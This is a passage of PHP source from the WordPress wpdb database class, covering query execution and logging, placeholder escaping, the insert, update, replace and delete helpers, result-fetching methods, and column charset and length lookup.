		if ( $this->dbh instanceof mysqli ) {
			$this->last_error = mysqli_error( $this->dbh );
		} else {
			$this->last_error = __( 'Unable to retrieve the error message from MySQL' );
		}

		if ( $this->last_error ) {
			// Clear insert_id on a subsequent failed insert.
			if ( $this->insert_id && preg_match( '/^\s*(insert|replace)\s/i', $query ) ) {
				$this->insert_id = 0;
			}

			$this->print_error();
			return false;
		}

		if ( preg_match( '/^\s*(create|alter|truncate|drop)\s/i', $query ) ) {
			$return_val = $this->result;
		} elseif ( preg_match( '/^\s*(insert|delete|update|replace)\s/i', $query ) ) {
			$this->rows_affected = mysqli_affected_rows( $this->dbh );

			// Take note of the insert_id.
			if ( preg_match( '/^\s*(insert|replace)\s/i', $query ) ) {
				$this->insert_id = mysqli_insert_id( $this->dbh );
			}

			// Return number of rows affected.
			$return_val = $this->rows_affected;
		} else {
			$num_rows = 0;

			if ( $this->result instanceof mysqli_result ) {
				while ( $row = mysqli_fetch_object( $this->result ) ) {
					$this->last_result[ $num_rows ] = $row;
					++$num_rows;
				}
			}

			// Log and return the number of rows selected.
			$this->num_rows = $num_rows;
			$return_val     = $num_rows;
		}

		return $return_val;
	}

	/**
	 * Internal function to perform the mysqli_query() call.
	 *
	 * @since 3.9.0
	 *
	 * @see wpdb::query()
	 *
	 * @param string $query The query to run.
	 */
	private function _do_query( $query ) {
		if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) {
			$this->timer_start();
		}

		if ( ! empty( $this->dbh ) ) {
			$this->result = mysqli_query( $this->dbh, $query );
		}

		++$this->num_queries;

		if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) {
			$this->log_query(
				$query,
				$this->timer_stop(),
				$this->get_caller(),
				$this->time_start,
				array()
			);
		}
	}

	/**
	 * Logs query data.
	 *
	 * @since 5.3.0
	 *
	 * @param string $query           The query's SQL.
	 * @param float  $query_time      Total time spent on the query, in seconds.
	 * @param string $query_callstack Comma-separated list of the calling functions.
	 * @param float  $query_start     Unix timestamp of the time at the start of the query.
	 * @param array  $query_data      Custom query data.
	 */
	public function log_query( $query, $query_time, $query_callstack, $query_start, $query_data ) {
		/**
		 * Filters the custom data to log alongside a query.
		 *
		 * Caution should be used when modifying any of this data, it is recommended that any additional
		 * information you need to store about a query be added as a new associative array element.
		 *
		 * @since 5.3.0
		 *
		 * @param array  $query_data      Custom query data.
		 * @param string $query           The query's SQL.
		 * @param float  $query_time      Total time spent on the query, in seconds.
		 * @param string $query_callstack Comma-separated list of the calling functions.
		 * @param float  $query_start     Unix timestamp of the time at the start of the query.
		 */
		$query_data = apply_filters( 'log_query_custom_data', $query_data, $query, $query_time, $query_callstack, $query_start );

		$this->queries[] = array(
			$query,
			$query_time,
			$query_callstack,
			$query_start,
			$query_data,
		);
	}

	/**
	 * Generates and returns a placeholder escape string for use in queries returned by ::prepare().
	 *
	 * @since 4.8.3
	 *
	 * @return string String to escape placeholders.
	 */
	public function placeholder_escape() {
		static $placeholder;

		if ( ! $placeholder ) {
			// If ext/hash is not present, compat.php's hash_hmac() does not support sha256.
			$algo = function_exists( 'hash' ) ? 'sha256' : 'sha1';
			// Old WP installs may not have AUTH_SALT defined.
			$salt = defined( 'AUTH_SALT' ) && AUTH_SALT ? AUTH_SALT : (string) rand();

			$placeholder = '{' . hash_hmac( $algo, uniqid( $salt, true ), $salt ) . '}';
		}

		/*
		 * Add the filter to remove the placeholder escaper. Uses priority 0, so that anything
		 * else attached to this filter will receive the query with the placeholder string removed.
		 */
		if ( false === has_filter( 'query', array( $this, 'remove_placeholder_escape' ) ) ) {
			add_filter( 'query', array( $this, 'remove_placeholder_escape' ), 0 );
		}

		return $placeholder;
	}

	/**
	 * Adds a placeholder escape string, to escape anything that resembles a printf() placeholder.
	 *
	 * @since 4.8.3
	 *
	 * @param string $query The query to escape.
	 * @return string The query with the placeholder escape string inserted where necessary.
	 */
	public function add_placeholder_escape( $query ) {
		/*
		 * To prevent returning anything that even vaguely resembles a placeholder,
		 * we clobber every % we can find.
		 */
		return str_replace( '%', $this->placeholder_escape(), $query );
	}

	/**
	 * Removes the placeholder escape strings from a query.
	 *
	 * @since 4.8.3
	 *
	 * @param string $query The query from which the placeholder will be removed.
	 * @return string The query with the placeholder removed.
	 */
	public function remove_placeholder_escape( $query ) {
		return str_replace( $this->placeholder_escape(), '%', $query );
	}

	/**
	 * Inserts a row into the table.
	 *
	 * Examples:
	 *
	 *     $wpdb->insert(
	 *         'table',
	 *         array(
	 *             'column1' => 'foo',
	 *             'column2' => 'bar',
	 *         )
	 *     );
	 *     $wpdb->insert(
	 *         'table',
	 *         array(
	 *             'column1' => 'foo',
	 *             'column2' => 1337,
	 *         ),
	 *         array(
	 *             '%s',
	 *             '%d',
	 *         )
	 *     );
	 *
	 * @since 2.5.0
	 *
	 * @see wpdb::prepare()
	 * @see wpdb::$field_types
	 * @see wp_set_wpdb_vars()
	 *
	 * @param string          $table  Table name.
	 * @param array           $data   Data to insert (in column => value pairs).
	 *                                Both `$data` columns and `$data` values should be "raw" (neither should be SQL escaped).
	 *                                Sending a null value will cause the column to be set to NULL - the corresponding
	 *                                format is ignored in this case.
	 * @param string[]|string $format Optional. An array of formats to be mapped to each of the value in `$data`.
	 *                                If string, that format will be used for all of the values in `$data`.
	 *                                A format is one of '%d', '%f', '%s' (integer, float, string).
	 *                                If omitted, all values in `$data` will be treated as strings unless otherwise
	 *                                specified in wpdb::$field_types. Default null.
	 * @return int|false The number of rows inserted, or false on error.
	 */
	public function insert( $table, $data, $format = null ) {
		return $this->_insert_replace_helper( $table, $data, $format, 'INSERT' );
	}

	/**
	 * Replaces a row in the table or inserts it if it does not exist, based on a PRIMARY KEY or a UNIQUE index.
	 *
	 * A REPLACE works exactly like an INSERT, except that if an old row in the table has the same value as a new row
	 * for a PRIMARY KEY or a UNIQUE index, the old row is deleted before the new row is inserted.
	 *
	 * Examples:
	 *
	 *     $wpdb->replace(
	 *         'table',
	 *         array(
	 *             'ID'      => 123,
	 *             'column1' => 'foo',
	 *             'column2' => 'bar',
	 *         )
	 *     );
	 *     $wpdb->replace(
	 *         'table',
	 *         array(
	 *             'ID'      => 456,
	 *             'column1' => 'foo',
	 *             'column2' => 1337,
	 *         ),
	 *         array(
	 *             '%d',
	 *             '%s',
	 *             '%d',
	 *         )
	 *     );
	 *
	 * @since 3.0.0
	 *
	 * @see wpdb::prepare()
	 * @see wpdb::$field_types
	 * @see wp_set_wpdb_vars()
	 *
	 * @param string          $table  Table name.
	 * @param array           $data   Data to insert (in column => value pairs).
	 *                                Both `$data` columns and `$data` values should be "raw" (neither should be SQL escaped).
	 *                                A primary key or unique index is required to perform a replace operation.
	 *                                Sending a null value will cause the column to be set to NULL - the corresponding
	 *                                format is ignored in this case.
	 * @param string[]|string $format Optional. An array of formats to be mapped to each of the value in `$data`.
	 *                                If string, that format will be used for all of the values in `$data`.
	 *                                A format is one of '%d', '%f', '%s' (integer, float, string).
	 *                                If omitted, all values in `$data` will be treated as strings unless otherwise
	 *                                specified in wpdb::$field_types. Default null.
	 * @return int|false The number of rows affected, or false on error.
	 */
	public function replace( $table, $data, $format = null ) {
		return $this->_insert_replace_helper( $table, $data, $format, 'REPLACE' );
	}

	/**
	 * Helper function for insert and replace.
	 *
	 * Runs an insert or replace query based on `$type` argument.
	 *
	 * @since 3.0.0
	 *
	 * @see wpdb::prepare()
	 * @see wpdb::$field_types
	 * @see wp_set_wpdb_vars()
	 *
	 * @param string          $table  Table name.
	 * @param array           $data   Data to insert (in column => value pairs).
	 *                                Both `$data` columns and `$data` values should be "raw" (neither should be SQL escaped).
	 *                                Sending a null value will cause the column to be set to NULL - the corresponding
	 *                                format is ignored in this case.
	 * @param string[]|string $format Optional. An array of formats to be mapped to each of the value in `$data`.
	 *                                If string, that format will be used for all of the values in `$data`.
	 *                                A format is one of '%d', '%f', '%s' (integer, float, string).
	 *                                If omitted, all values in `$data` will be treated as strings unless otherwise
	 *                                specified in wpdb::$field_types. Default null.
	 * @param string          $type   Optional. Type of operation. Either 'INSERT' or 'REPLACE'.
	 *                                Default 'INSERT'.
	 * @return int|false The number of rows affected, or false on error.
	 */
	public function _insert_replace_helper( $table, $data, $format = null, $type = 'INSERT' ) {
		$this->insert_id = 0;

		if ( ! in_array( strtoupper( $type ), array( 'REPLACE', 'INSERT' ), true ) ) {
			return false;
		}

		$data = $this->process_fields( $table, $data, $format );
		if ( false === $data ) {
			return false;
		}

		$formats = array();
		$values  = array();
		foreach ( $data as $value ) {
			if ( is_null( $value['value'] ) ) {
				$formats[] = 'NULL';
				continue;
			}

			$formats[] = $value['format'];
			$values[]  = $value['value'];
		}

		$fields  = '`' . implode( '`, `', array_keys( $data ) ) . '`';
		$formats = implode( ', ', $formats );

		$sql = "$type INTO `$table` ($fields) VALUES ($formats)";

		$this->check_current_query = false;
		return $this->query( $this->prepare( $sql, $values ) );
	}

	/**
	 * Updates a row in the table.
	 *
	 * Examples:
	 *
	 *     $wpdb->update(
	 *         'table',
	 *         array(
	 *             'column1' => 'foo',
	 *             'column2' => 'bar',
	 *         ),
	 *         array(
	 *             'ID' => 1,
	 *         )
	 *     );
	 *     $wpdb->update(
	 *         'table',
	 *         array(
	 *             'column1' => 'foo',
	 *             'column2' => 1337,
	 *         ),
	 *         array(
	 *             'ID' => 1,
	 *         ),
	 *         array(
	 *             '%s',
	 *             '%d',
	 *         ),
	 *         array(
	 *             '%d',
	 *         )
	 *     );
	 *
	 * @since 2.5.0
	 *
	 * @see wpdb::prepare()
	 * @see wpdb::$field_types
	 * @see wp_set_wpdb_vars()
	 *
	 * @param string       $table           Table name.
	 * @param array        $data            Data to update (in column => value pairs).
	 *                                      Both $data columns and $data values should be "raw" (neither should be SQL escaped).
	 *                                      Sending a null value will cause the column to be set to NULL - the corresponding
	 *                                      format is ignored in this case.
	 * @param array        $where           A named array of WHERE clauses (in column => value pairs).
	 *                                      Multiple clauses will be joined with ANDs.
	 *                                      Both $where columns and $where values should be "raw".
	 *                                      Sending a null value will create an IS NULL comparison - the corresponding
	 *                                      format will be ignored in this case.
	 * @param string[]|string $format       Optional. An array of formats to be mapped to each of the values in $data.
	 *                                      If string, that format will be used for all of the values in $data.
	 *                                      A format is one of '%d', '%f', '%s' (integer, float, string).
	 *                                      If omitted, all values in $data will be treated as strings unless otherwise
	 *                                      specified in wpdb::$field_types. Default null.
	 * @param string[]|string $where_format Optional. An array of formats to be mapped to each of the values in $where.
	 *                                      If string, that format will be used for all of the items in $where.
	 *                                      A format is one of '%d', '%f', '%s' (integer, float, string).
	 *                                      If omitted, all values in $where will be treated as strings unless otherwise
	 *                                      specified in wpdb::$field_types. Default null.
	 * @return int|false The number of rows updated, or false on error.
	 */
	public function update( $table, $data, $where, $format = null, $where_format = null ) {
		if ( ! is_array( $data ) || ! is_array( $where ) ) {
			return false;
		}

		$data = $this->process_fields( $table, $data, $format );
		if ( false === $data ) {
			return false;
		}
		$where = $this->process_fields( $table, $where, $where_format );
		if ( false === $where ) {
			return false;
		}

		$fields     = array();
		$conditions = array();
		$values     = array();
		foreach ( $data as $field => $value ) {
			if ( is_null( $value['value'] ) ) {
				$fields[] = "`$field` = NULL";
				continue;
			}

			$fields[] = "`$field` = " . $value['format'];
			$values[] = $value['value'];
		}
		foreach ( $where as $field => $value ) {
			if ( is_null( $value['value'] ) ) {
				$conditions[] = "`$field` IS NULL";
				continue;
			}

			$conditions[] = "`$field` = " . $value['format'];
			$values[]     = $value['value'];
		}

		$fields     = implode( ', ', $fields );
		$conditions = implode( ' AND ', $conditions );

		$sql = "UPDATE `$table` SET $fields WHERE $conditions";

		$this->check_current_query = false;
		return $this->query( $this->prepare( $sql, $values ) );
	}

	/**
	 * Deletes a row in the table.
	 *
	 * Examples:
	 *
	 *     $wpdb->delete(
	 *         'table',
	 *         array(
	 *             'ID' => 1,
	 *         )
	 *     );
	 *     $wpdb->delete(
	 *         'table',
	 *         array(
	 *             'ID' => 1,
	 *         ),
	 *         array(
	 *             '%d',
	 *         )
	 *     );
	 *
	 * @since 3.4.0
	 *
	 * @see wpdb::prepare()
	 * @see wpdb::$field_types
	 * @see wp_set_wpdb_vars()
	 *
	 * @param string          $table        Table name.
	 * @param array           $where        A named array of WHERE clauses (in column => value pairs).
	 *                                      Multiple clauses will be joined with ANDs.
	 *                                      Both $where columns and $where values should be "raw".
	 *                                      Sending a null value will create an IS NULL comparison - the corresponding
	 *                                      format will be ignored in this case.
	 * @param string[]|string $where_format Optional. An array of formats to be mapped to each of the values in $where.
	 *                                      If string, that format will be used for all of the items in $where.
	 *                                      A format is one of '%d', '%f', '%s' (integer, float, string).
	 *                                      If omitted, all values in $data will be treated as strings unless otherwise
	 *                                      specified in wpdb::$field_types. Default null.
	 * @return int|false The number of rows deleted, or false on error.
	 */
	public function delete( $table, $where, $where_format = null ) {
		if ( ! is_array( $where ) ) {
			return false;
		}

		$where = $this->process_fields( $table, $where, $where_format );
		if ( false === $where ) {
			return false;
		}

		$conditions = array();
		$values     = array();
		foreach ( $where as $field => $value ) {
			if ( is_null( $value['value'] ) ) {
				$conditions[] = "`$field` IS NULL";
				continue;
			}

			$conditions[] = "`$field` = " . $value['format'];
			$values[]     = $value['value'];
		}

		$conditions = implode( ' AND ', $conditions );

		$sql = "DELETE FROM `$table` WHERE $conditions";

		$this->check_current_query = false;
		return $this->query( $this->prepare( $sql, $values ) );
	}

	/**
	 * Processes arrays of field/value pairs and field formats.
	 *
	 * This is a helper method for wpdb's CRUD methods, which take field/value pairs
	 * for inserts, updates, and where clauses. This method first pairs each value
	 * with a format. Then it determines the charset of that field, using that
	 * to determine if any invalid text would be stripped. If text is stripped,
	 * then field processing is rejected and the query fails.
	 *
	 * @since 4.2.0
	 *
	 * @param string          $table  Table name.
	 * @param array           $data   Array of values keyed by their field names.
	 * @param string[]|string $format Formats or format to be mapped to the values in the data.
	 * @return array|false An array of fields that contain paired value and formats.
	 *                     False for invalid values.
	 */
	protected function process_fields( $table, $data, $format ) {
		$data = $this->process_field_formats( $data, $format );
		if ( false === $data ) {
			return false;
		}

		$data = $this->process_field_charsets( $data, $table );
		if ( false === $data ) {
			return false;
		}

		$data = $this->process_field_lengths( $data, $table );
		if ( false === $data ) {
			return false;
		}

		$converted_data = $this->strip_invalid_text( $data );

		if ( $data !== $converted_data ) {

			$problem_fields = array();
			foreach ( $data as $field => $value ) {
				if ( $value !== $converted_data[ $field ] ) {
					$problem_fields[] = $field;
				}
			}

			wp_load_translations_early();

			if ( 1 === count( $problem_fields ) ) {
				$this->last_error = sprintf(
					/* translators: %s: Database field where the error occurred. */
					__( 'WordPress database error: Processing the value for the following field failed: %s. The supplied value may be too long or contains invalid data.' ),
					reset( $problem_fields )
				);
			} else {
				$this->last_error = sprintf(
					/* translators: %s: Database fields where the error occurred. */
					__( 'WordPress database error: Processing the values for the following fields failed: %s. The supplied values may be too long or contain invalid data.' ),
					implode( ', ', $problem_fields )
				);
			}

			return false;
		}

		return $data;
	}

	/**
	 * Prepares arrays of value/format pairs as passed to wpdb CRUD methods.
	 *
	 * @since 4.2.0
	 *
	 * @param array           $data   Array of values keyed by their field names.
	 * @param string[]|string $format Formats or format to be mapped to the values in the data.
	 * @return array {
	 *     Array of values and formats keyed by their field names.
	 *
	 *     @type mixed  $value  The value to be formatted.
	 *     @type string $format The format to be mapped to the value.
	 * }
	 */
	protected function process_field_formats( $data, $format ) {
		$formats          = (array) $format;
		$original_formats = $formats;

		foreach ( $data as $field => $value ) {
			$value = array(
				'value'  => $value,
				'format' => '%s',
			);

			if ( ! empty( $format ) ) {
				$value['format'] = array_shift( $formats );
				if ( ! $value['format'] ) {
					$value['format'] = reset( $original_formats );
				}
			} elseif ( isset( $this->field_types[ $field ] ) ) {
				$value['format'] = $this->field_types[ $field ];
			}

			$data[ $field ] = $value;
		}

		return $data;
	}

	/**
	 * Adds field charsets to field/value/format arrays generated by wpdb::process_field_formats().
	 *
	 * @since 4.2.0
	 *
	 * @param array $data {
	 *     Array of values and formats keyed by their field names,
	 *     as it comes from the wpdb::process_field_formats() method.
	 *
	 *     @type array ...$0 {
	 *         Value and format for this field.
	 *
	 *         @type mixed  $value  The value to be formatted.
	 *         @type string $format The format to be mapped to the value.
	 *     }
	 * }
	 * @param string $table Table name.
	 * @return array|false {
	 *     The same array of data with additional 'charset' keys, or false if
	 *     the charset for the table cannot be found.
	 *
	 *     @type array ...$0 {
	 *         Value, format, and charset for this field.
	 *
	 *         @type mixed        $value   The value to be formatted.
	 *         @type string       $format  The format to be mapped to the value.
	 *         @type string|false $charset The charset to be used for the value.
	 *     }
	 * }
	 */
	protected function process_field_charsets( $data, $table ) {
		foreach ( $data as $field => $value ) {
			if ( '%d' === $value['format'] || '%f' === $value['format'] ) {
				/*
				 * We can skip this field if we know it isn't a string.
				 * This checks %d/%f versus ! %s because its sprintf() could take more.
				 */
				$value['charset'] = false;
			} else {
				$value['charset'] = $this->get_col_charset( $table, $field );
				if ( is_wp_error( $value['charset'] ) ) {
					return false;
				}
			}

			$data[ $field ] = $value;
		}

		return $data;
	}

	/**
	 * For string fields, records the maximum string length that field can safely save.
	 *
	 * @since 4.2.1
	 *
	 * @param array $data {
	 *     Array of values, formats, and charsets keyed by their field names,
	 *     as it comes from the wpdb::process_field_charsets() method.
	 *
	 *     @type array ...$0 {
	 *         Value, format, and charset for this field.
	 *
	 *         @type mixed        $value   The value to be formatted.
	 *         @type string       $format  The format to be mapped to the value.
	 *         @type string|false $charset The charset to be used for the value.
	 *     }
	 * }
	 * @param string $table Table name.
	 * @return array|false {
	 *     The same array of data with additional 'length' keys, or false if
	 *     information for the table cannot be found.
	 *
	 *     @type array ...$0 {
	 *         Value, format, charset, and length for this field.
	 *
	 *         @type mixed        $value   The value to be formatted.
	 *         @type string       $format  The format to be mapped to the value.
	 *         @type string|false $charset The charset to be used for the value.
	 *         @type array|false  $length  {
	 *             Information about the maximum length of the value.
	 *             False if the column has no length.
	 *
	 *             @type string $type   One of 'byte' or 'char'.
	 *             @type int    $length The column length.
	 *         }
	 *     }
	 * }
	 */
	protected function process_field_lengths( $data, $table ) {
		foreach ( $data as $field => $value ) {
			if ( '%d' === $value['format'] || '%f' === $value['format'] ) {
				/*
				 * We can skip this field if we know it isn't a string.
				 * This checks %d/%f versus ! %s because its sprintf() could take more.
				 */
				$value['length'] = false;
			} else {
				$value['length'] = $this->get_col_length( $table, $field );
				if ( is_wp_error( $value['length'] ) ) {
					return false;
				}
			}

			$data[ $field ] = $value;
		}

		return $data;
	}

	/**
	 * Retrieves one value from the database.
	 *
	 * Executes a SQL query and returns the value from the SQL result.
	 * If the SQL result contains more than one column and/or more than one row,
	 * the value in the column and row specified is returned. If $query is null,
	 * the value in the specified column and row from the previous SQL result is returned.
	 *
	 * @since 0.71
	 *
	 * @param string|null $query Optional. SQL query. Defaults to null, use the result from the previous query.
	 * @param int         $x     Optional. Column of value to return. Indexed from 0. Default 0.
	 * @param int         $y     Optional. Row of value to return. Indexed from 0. Default 0.
	 * @return string|null Database query result (as string), or null on failure.
	 */
	public function get_var( $query = null, $x = 0, $y = 0 ) {
		$this->func_call = "\$db->get_var(\"$query\", $x, $y)";

		if ( $query ) {
			if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
				$this->check_current_query = false;
			}

			$this->query( $query );
		}

		// Extract var out of cached results based on x,y vals.
		if ( ! empty( $this->last_result[ $y ] ) ) {
			$values = array_values( get_object_vars( $this->last_result[ $y ] ) );
		}

		// If there is a value return it, else return null.
		return ( isset( $values[ $x ] ) && '' !== $values[ $x ] ) ? $values[ $x ] : null;
	}

	/**
	 * Retrieves one row from the database.
	 *
	 * Executes a SQL query and returns the row from the SQL result.
	 *
	 * @since 0.71
	 *
	 * @param string|null $query  SQL query.
	 * @param string      $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
	 *                            correspond to an stdClass object, an associative array, or a numeric array,
	 *                            respectively. Default OBJECT.
	 * @param int         $y      Optional. Row to return. Indexed from 0. Default 0.
	 * @return array|object|null|void Database query result in format specified by $output or null on failure.
	 */
	public function get_row( $query = null, $output = OBJECT, $y = 0 ) {
		$this->func_call = "\$db->get_row(\"$query\",$output,$y)";

		if ( $query ) {
			if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
				$this->check_current_query = false;
			}

			$this->query( $query );
		} else {
			return null;
		}

		if ( ! isset( $this->last_result[ $y ] ) ) {
			return null;
		}

		if ( OBJECT === $output ) {
			return $this->last_result[ $y ] ? $this->last_result[ $y ] : null;
		} elseif ( ARRAY_A === $output ) {
			return $this->last_result[ $y ] ? get_object_vars( $this->last_result[ $y ] ) : null;
		} elseif ( ARRAY_N === $output ) {
			return $this->last_result[ $y ] ? array_values( get_object_vars( $this->last_result[ $y ] ) ) : null;
		} elseif ( OBJECT === strtoupper( $output ) ) {
			// Back compat for OBJECT being previously case-insensitive.
			return $this->last_result[ $y ] ? $this->last_result[ $y ] : null;
		} else {
			$this->print_error( ' $db->get_row(string query, output type, int offset) -- Output type must be one of: OBJECT, ARRAY_A, ARRAY_N' );
		}
	}

	/**
	 * Retrieves one column from the database.
	 *
	 * Executes a SQL query and returns the column from the SQL result.
	 * If the SQL result contains more than one column, the column specified is returned.
	 * If $query is null, the specified column from the previous SQL result is returned.
	 *
	 * @since 0.71
	 *
	 * @param string|null $query Optional. SQL query. Defaults to previous query.
	 * @param int         $x     Optional. Column to return. Indexed from 0. Default 0.
	 * @return array Database query result. Array indexed from 0 by SQL result row number.
	 */
	public function get_col( $query = null, $x = 0 ) {
		if ( $query ) {
			if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
				$this->check_current_query = false;
			}

			$this->query( $query );
		}

		$new_array = array();
		// Extract the column values.
		if ( $this->last_result ) {
			for ( $i = 0, $j = count( $this->last_result ); $i < $j; $i++ ) {
				$new_array[ $i ] = $this->get_var( null, $x, $i );
			}
		}
		return $new_array;
	}

	/**
	 * Retrieves an entire SQL result set from the database (i.e., many rows).
	 *
	 * Executes a SQL query and returns the entire SQL result.
	 *
	 * @since 0.71
	 *
	 * @param string $query  SQL query.
	 * @param string $output Optional. Any of ARRAY_A | ARRAY_N | OBJECT | OBJECT_K constants.
	 *                       With one of the first three, return an array of rows indexed
	 *                       from 0 by SQL result row number. Each row is an associative array
	 *                       (column => value, ...), a numerically indexed array (0 => value, ...),
	 *                       or an object ( ->column = value ), respectively. With OBJECT_K,
	 *                       return an associative array of row objects keyed by the value
	 *                       of each row's first column's value. Duplicate keys are discarded.
	 *                       Default OBJECT.
	 * @return array|object|null Database query results.
	 */
	public function get_results( $query = null, $output = OBJECT ) {
		$this->func_call = "\$db->get_results(\"$query\", $output)";

		if ( $query ) {
			if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
				$this->check_current_query = false;
			}

			$this->query( $query );
		} else {
			return null;
		}

		$new_array = array();
		if ( OBJECT === $output ) {
			// Return an integer-keyed array of row objects.
			return $this->last_result;
		} elseif ( OBJECT_K === $output ) {
			/*
			 * Return an array of row objects with keys from column 1.
			 * (Duplicates are discarded.)
			 */
			if ( $this->last_result ) {
				foreach ( $this->last_result as $row ) {
					$var_by_ref = get_object_vars( $row );
					$key        = array_shift( $var_by_ref );
					if ( ! isset( $new_array[ $key ] ) ) {
						$new_array[ $key ] = $row;
					}
				}
			}
			return $new_array;
		} elseif ( ARRAY_A === $output || ARRAY_N === $output ) {
			// Return an integer-keyed array of...
			if ( $this->last_result ) {
				if ( ARRAY_N === $output ) {
					foreach ( (array) $this->last_result as $row ) {
						// ...integer-keyed row arrays.
						$new_array[] = array_values( get_object_vars( $row ) );
					}
				} else {
					foreach ( (array) $this->last_result as $row ) {
						// ...column name-keyed row arrays.
						$new_array[] = get_object_vars( $row );
					}
				}
			}
			return $new_array;
		} elseif ( strtoupper( $output ) === OBJECT ) {
			// Back compat for OBJECT being previously case-insensitive.
			return $this->last_result;
		}
		return null;
	}

	/**
	 * Retrieves the character set for the given table.
	 *
	 * @since 4.2.0
	 *
	 * @param string $table Table name.
	 * @return string|WP_Error Table character set, WP_Error object if it couldn't be found.
	 */
	protected function get_table_charset( $table ) {
		$tablekey = strtolower( $table );

		/**
		 * Filters the table charset value before the DB is checked.
		 *
		 * Returning a non-null value from the filter will effectively short-circuit
		 * checking the DB for the charset, returning that value instead.
		 *
		 * @since 4.2.0
		 *
		 * @param string|WP_Error|null $charset The character set to use, WP_Error object
		 *                                      if it couldn't be found. Default null.
		 * @param string               $table   The name of the table being checked.
		 */
		$charset = apply_filters( 'pre_get_table_charset', null, $table );
		if ( null !== $charset ) {
			return $charset;
		}

		if ( isset( $this->table_charset[ $tablekey ] ) ) {
			return $this->table_charset[ $tablekey ];
		}

		$charsets = array();
		$columns  = array();

		$table_parts = explode( '.', $table );
		$table       = '`' . implode( '`.`', $table_parts ) . '`';
		$results     = $this->get_results( "SHOW FULL COLUMNS FROM $table" );
		if ( ! $results ) {
			return new WP_Error( 'wpdb_get_table_charset_failure', __( 'Could not retrieve table charset.' ) );
		}

		foreach ( $results as $column ) {
			$columns[ strtolower( $column->Field ) ] = $column;
		}

		$this->col_meta[ $tablekey ] = $columns;

		foreach ( $columns as $column ) {
			if ( ! empty( $column->Collation ) ) {
				list( $charset ) = explode( '_', $column->Collation );

				// If the current connection can't support utf8mb4 characters, let's only send 3-byte utf8 characters.
				if ( 'utf8mb4' === $charset && ! $this->has_cap( 'utf8mb4' ) ) {
					$charset = 'utf8';
				}

				$charsets[ strtolower( $charset ) ] = true;
			}

			list( $type ) = explode( '(', $column->Type );

			// A binary/blob means the whole query gets treated like this.
			if ( in_array( strtoupper( $type ), array( 'BINARY', 'VARBINARY', 'TINYBLOB', 'MEDIUMBLOB', 'BLOB', 'LONGBLOB' ), true ) ) {
				$this->table_charset[ $tablekey ] = 'binary';
				return 'binary';
			}
		}

		// utf8mb3 is an alias for utf8.
		if ( isset( $charsets['utf8mb3'] ) ) {
			$charsets['utf8'] = true;
			unset( $charsets['utf8mb3'] );
		}

		// Check if we have more than one charset in play.
		$count = count( $charsets );
		if ( 1 === $count ) {
			$charset = key( $charsets );
		} elseif ( 0 === $count ) {
			// No charsets, assume this table can store whatever.
			$charset = false;
		} else {
			// More than one charset. Remove latin1 if present and recalculate.
			unset( $charsets['latin1'] );
			$count = count( $charsets );
			if ( 1 === $count ) {
				// Only one charset (besides latin1).
				$charset = key( $charsets );
			} elseif ( 2 === $count && isset( $charsets['utf8'], $charsets['utf8mb4'] ) ) {
				// Two charsets, but they're utf8 and utf8mb4, use utf8.
				$charset = 'utf8';
			} else {
				// Two mixed character sets. ascii.
				$charset = 'ascii';
			}
		}

		$this->table_charset[ $tablekey ] = $charset;
		return $charset;
	}

	/**
	 * Retrieves the character set for the given column.
	 *
	 * @since 4.2.0
	 *
	 * @param string $table  Table name.
	 * @param string $column Column name.
	 * @return string|false|WP_Error Column character set as a string. False if the column has
	 *                               no character set. WP_Error object if there was an error.
	 */
	public function get_col_charset( $table, $column ) {
		$tablekey  = strtolower( $table );
		$columnkey = strtolower( $column );

		/**
		 * Filters the column charset value before the DB is checked.
		 *
		 * Passing a non-null value to the filter will short-circuit
		 * checking the DB for the charset, returning that value instead.
		 *
		 * @since 4.2.0
		 *
		 * @param string|null|false|WP_Error $charset The character set to use. Default null.
		 * @param string                     $table   The name of the table being checked.
		 * @param string                     $column  The name of the column being checked.
		 */
		$charset = apply_filters( 'pre_get_col_charset', null, $table, $column );
		if ( null !== $charset ) {
			return $charset;
		}

		// Skip this entirely if this isn't a MySQL database.
		if ( empty( $this->is_mysql ) ) {
			return false;
		}

		if ( empty( $this->table_charset[ $tablekey ] ) ) {
			// This primes column information for us.
			$table_charset = $this->get_table_charset( $table );
			if ( is_wp_error( $table_charset ) ) {
				return $table_charset;
			}
		}

		// If still no column information, return the table charset.
		if ( empty( $this->col_meta[ $tablekey ] ) ) {
			return $this->table_charset[ $tablekey ];
		}

		// If this column doesn't exist, return the table charset.
		if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) {
			return $this->table_charset[ $tablekey ];
		}

		// Return false when it's not a string column.
		if ( empty( $this->col_meta[ $tablekey ][ $columnkey ]->Collation ) ) {
			return false;
		}

		list( $charset ) = explode( '_', $this->col_meta[ $tablekey ][ $columnkey ]->Collation );
		return $charset;
	}

	/**
	 * Retrieves the maximum string length allowed in a given column.
	 *
	 * The length may either be specified as a byte length or a character length.
	 *
	 * @since 4.2.1
	 *
	 * @param string $table  Table name.
	 * @param string $column Column name.
	 * @return array|false|WP_Error {
	 *     Array of column length information, false if the column has no length (for
	 *     example, numeric column), WP_Error object if there was an error.
	 *
	 *     @type string $type   One of 'byte' or 'char'.
	 *     @type int    $length The column length.
	 * }
	 */
	public function get_col_length( $table, $column ) {
		$tablekey  = strtolower( $table );
		$columnkey = strtolower( $column );

		// Skip this entirely if this isn't a MySQL database.
		if ( empty( $this->is_mysql ) ) {
			return false;
		}

		if ( empty( $this->col_meta[ $tablekey ] ) ) {
			// This primes column information for us.
			$table_charset = $this->get_table_charset( $table );
			if ( is_wp_error( $table_charset ) ) {
				return $table_charset;
			}
		}

		if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) {
			return false;
		}

		$typeinfo = explode( '(', $this->col_meta[ $tablekey ][ $columnkey ]->Type );

		$type = strtolower( $typeinfo[0] );
		if ( ! empty( $typeinfo[1] ) ) {
			$length = trim( $typeinfo[1], ')' );
		} else {
			$length = false;
		}

		switch ( $type ) {
			case 'char':
			case 'varchar':
				return array(
					'type'   => 'char',
					'length' => (int) $length,
				);

			case 'binary':
			case 'varbinary':
				return array(
					'type'   => 'byte',
					'length' => (int) $length,
				);

			case 'tinyblob':
			case 'tinytext':
				return array(
